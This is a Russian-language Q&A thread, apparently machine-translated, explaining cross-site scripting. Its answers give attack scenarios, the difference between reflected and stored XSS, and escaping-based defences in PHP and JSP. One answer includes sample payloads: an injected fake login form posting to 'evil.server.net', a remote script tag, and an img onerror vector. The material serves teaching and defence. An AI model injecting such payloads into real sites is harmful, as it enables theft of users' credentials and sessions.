Какова общая концепция XSS?

Ответ 1

Прямой XSS

• Я обнаружил, что у Google есть уязвимость xss
• Я пишу script, который перезаписывает общедоступную страницу google, чтобы выглядеть точно так же, как фактический вход в google
• Моя поддельная страница отправляется на сторонний сервер, а затем перенаправляется на реальную страницу
• Я получаю пароли учетных записей Google, пользователи не понимают, что произошло, Google не знает, что произошло.

XSS как платформа для CSRF (предположительно это произошло)

• У Amazon есть уязвимость csrf, где "всегда держать меня в системе" cookie позволяет отмечать запись как оскорбительную.
• Я обнаружил уязвимость xss на сайте с высоким трафиком
• Я пишу javascript, который попадает в URL-адреса, чтобы отметить все книги, написанные гей-лесбиянками на амазонке, как оскорбительные.
• Для амазонки они получают действительные запросы от реальных браузеров с реальными файлами cookie. Все книги исчезают с сайта за одну ночь.
• Интернет выкидывает ад.

XSS как платформа для атак с фиксацией сеанса

• Я нахожу сайт электронной коммерции, который не выполняет reset их сеанс после входа в систему (например, любой сайт asp.net), имеет возможность передавать идентификатор сеанса через строку запроса или через файл cookie и сохраняет данные auth в сеанс (довольно распространенный)
• Я обнаружил уязвимость XSS на странице на этом сайте
• Я пишу script, который устанавливает идентификатор сеанса в тот, который я управляю
• Кто-то нажимает на эту страницу и попадает в мою сессию.
• Они входят в систему
• Теперь у меня есть возможность делать все, что я хочу, в том числе покупать продукты с сохраненными картами.

Эти три большие. Проблема с атаками XSS, CSRF и Session Fixation заключается в том, что их очень сложно отследить и исправить, и их очень просто разрешить, особенно если разработчик не знает о них много.

Ответ 2

Поскольку ответы на то, как XSS может быть вредоносным, уже предоставлены, я опубликую только два замечательных flash-представления на XSS и отвечу на следующий вопрос, оставшийся без ответа:

как я могу предотвратить XSS на моих сайтах?

Вот два замечательных flash-представления о XSS:

• https://www.virtualforge.com/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf
• https://www.virtualforge.com/vmovie/xss_lesson_2/xss_selling_platform_v2.0.swf

Что касается предотвращения использования XSS, вам нужно вывести HTML файл из любого управляемого пользователем, когда они снова будут отображаться на странице. Сюда входят заголовки запросов, параметры запроса и любой сохраненный пользовательский ввод, который должен обслуживаться из базы данных. Особенно следует избегать <, >, " и ', поскольку он может исказить окружающий код HTML, где этот ввод был повторно отображен.

Почти любая технология просмотра предоставляет встроенные способы избежать HTML (или XML, что также достаточно) лица.

В PHP вы можете сделать это с помощью htmlspecialchars(). Например.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Если вам нужно также избежать одиночных кавычек вместе с этим, вам нужно предоставить аргумент ENT_QUOTES, также см. документацию по протоколу PHP.

В JSP вы можете сделать это с помощью JSTL <c:out> или fn:escapeXml(). Например.

<input name="foo" value="<c:out value="${param.foo}" />">

или

<input name="foo" value="${fn:escapeXml(param.foo)}">

Обратите внимание, что вам фактически не нужно избегать XSS во время обработки запроса, но только во время обработки ответа. Экранирование во время обработки запроса не требуется, и оно может рано или поздно нарушать ввод пользователя (и как администратор сайта вы также хотели бы знать, что собственно пользователь вводил, чтобы вы могли принимать социальные меры, если это необходимо). Что касается инъекций SQL, просто избегайте его во время обработки запроса в тот момент, когда данные будут сохраняться в базе данных.

Ответ 3

Я не понимаю, как JS/VBscript может нанести столько урона!

Ok. предположим, что у вас есть сайт, и сайт обслуживается от http://trusted.server.com/thesite. Скажем, на этом сайте есть окно поиска, и при поиске URL-адрес становится: http://trusted.server.com/thesite?query=somesearchstring.

Если сайт решает не обрабатывать строку поиска и выводит ее в результате, например "Вы искали" somesearchstring ", не дали никаких результатов, тогда любой может ввести произвольный html на сайт. Например:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Таким образом, в этом случае сайт будет наглядно показать фальшивую форму входа на страницу результатов поиска, и если пользователь ее отправит, он отправит данные на злое ненадежное сервер. Но пользователь этого не видит, особенно. если URL-адрес действительно длинный, он просто увидит первое, но предположим, что они имеют дело с trusted.server.com.

Вариации к этому включают в себя вставку тега <script>, который добавляет обработчики событий в документ для отслеживания действий пользователя или отправки файла cookie документа злому серверу. Таким образом, вы можете надеяться, что столкнетесь с конфиденциальными данными, такими как логин, пароль или данные кредитной карты. Или вы можете попробовать вставить специально созданный <iframe>, который занимает все окно клиента и служит сайту, который выглядит как оригинал, но на самом деле происходит от evil.server.com. Пока пользователь обманывает использование инъецированного контента вместо оригинала, безопасность подверглась риску.

Этот тип XSS называется рефлексивным и непостоянным. Отражающий, потому что URL-адрес "забирается" непосредственно в ответ и не сохраняется, потому что фактический сайт не изменяется - он просто служит проходом. Обратите внимание, что что-то вроде https не предлагает никакой защиты здесь - сам сайт поврежден, потому что он попугает ввод пользователя через строку запроса.

Теперь уловка заключается в том, чтобы заставить ничего не подозревающих пользователей доверять любые ссылки, которые вы им даете. Например, вы можете отправить им электронную почту HTML и включить привлекательную ссылку, которая указывает на поддельный URL-адрес. Или вы можете распространять его на вики, форумы и т.д. Я уверен, что вы можете оценить, насколько это просто - это просто ссылка, что может пойти не так, верно?

Иногда это может быть хуже. Некоторые сайты фактически хранят контент, предоставленный пользователем. Простой пример: комментарии в блоге или потоках на форуме. Или это может быть более тонким: страница профиля пользователя в социальной сети. Если эти страницы допускают произвольный html, esp. script, и этот пользовательский html хранится и воспроизводится, тогда каждый, кто просто посещает страницу, содержащую этот контент, подвергается риску. Это постоянный XSS. Теперь пользователям даже не нужно больше нажимать ссылку, достаточно просто посетить. Опять же, фактическая атака состоит в изменении страницы с помощью script, чтобы захватить пользовательские данные.

Script инъекция может быть тупой, например, можно вставить полный <script src="http://evil.server.net/script.js"> или она может быть тонкой: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

Как защитить себя: ключ состоит в том, чтобы никогда не выводить пользовательский ввод. Это может быть затруднено, если ваш сайт вращается вокруг контента, поставляемого пользователями, с разметкой.

Ответ 4

Представьте себе веб-форум. Атака XSS может заключаться в том, что я создаю сообщение с некоторым javascript. Когда вы перейдете на страницу, ваша веб-страница будет загружать и запускать js и делать то, что я говорю. Когда вы просматриваете страницу и, скорее всего, вошли в систему, мой javascript будет делать все, что у вас есть, чтобы делать, например, делать сообщение, удалять сообщения, вставлять спам, показывать всплывающее окно и т.д.

Таким образом, реальная концепция с XSS - это script выполняется в пользовательском контексте, что является эскалацией привилегий. Вы должны быть осторожны, чтобы в любом месте вашего приложения, которое получает вход пользователя, вы можете избежать каких-либо скриптов и т.д. Внутри него, чтобы гарантировать, что XSS не может быть выполнен.

Вы должны следить за вторичными атаками. Представьте, если я поместил вредоносное script в мое имя пользователя. Это может быть отключено на веб-сайте, а затем автоматически отменено, но тогда любая страница, просматриваемая с моим именем пользователя, на самом деле будет запускать вредоносный script в пользовательском контексте.

Вход пользователя. Не катитесь по коду, чтобы сделать это. Проверьте все, что происходит, и все выйдет.

Ответ 5

Проблемы с атаками XSS больше связаны с рыболовством. Проблема в том, что сайт, которому доверяет клиент, может быть введен кодом, который приводит к созданию сайта злоумышленником с определенной целью. Кража конфиденциальной информации, например.

Итак, в атаках XSS вторгшиеся не попадают в вашу базу данных и не смущаются. Он играет с чувством в клиенте, что этот сайт безопасен, и каждая ссылка на него указывает на безопасное место.

Это только первый шаг реальной атаки - привести клиента во враждебную среду.

Я могу привести вам краткий пример. Если, например, банковское учреждение размещает на своей странице крик-бокс, и они не мешают мне атаковать XSS, я могу кричать: "Эй, приходите по этой ссылке и введите пароли и кредитную карту No для проверки безопасности!"... И вы знаете, к чему приведет эта ссылка, не так ли?

Вы можете предотвратить атаки XSS, убедитесь, что вы не показываете ничего на своей странице, которое поступает с входа пользователя без экранирования html-тегов. Специальные символы должны быть экранированы, чтобы они не мешали разметке ваших html-страниц (или любой другой технологии, которую вы используете). Есть много библиотек, которые предоставляют это, включая библиотеку Microsoft AntiXSS.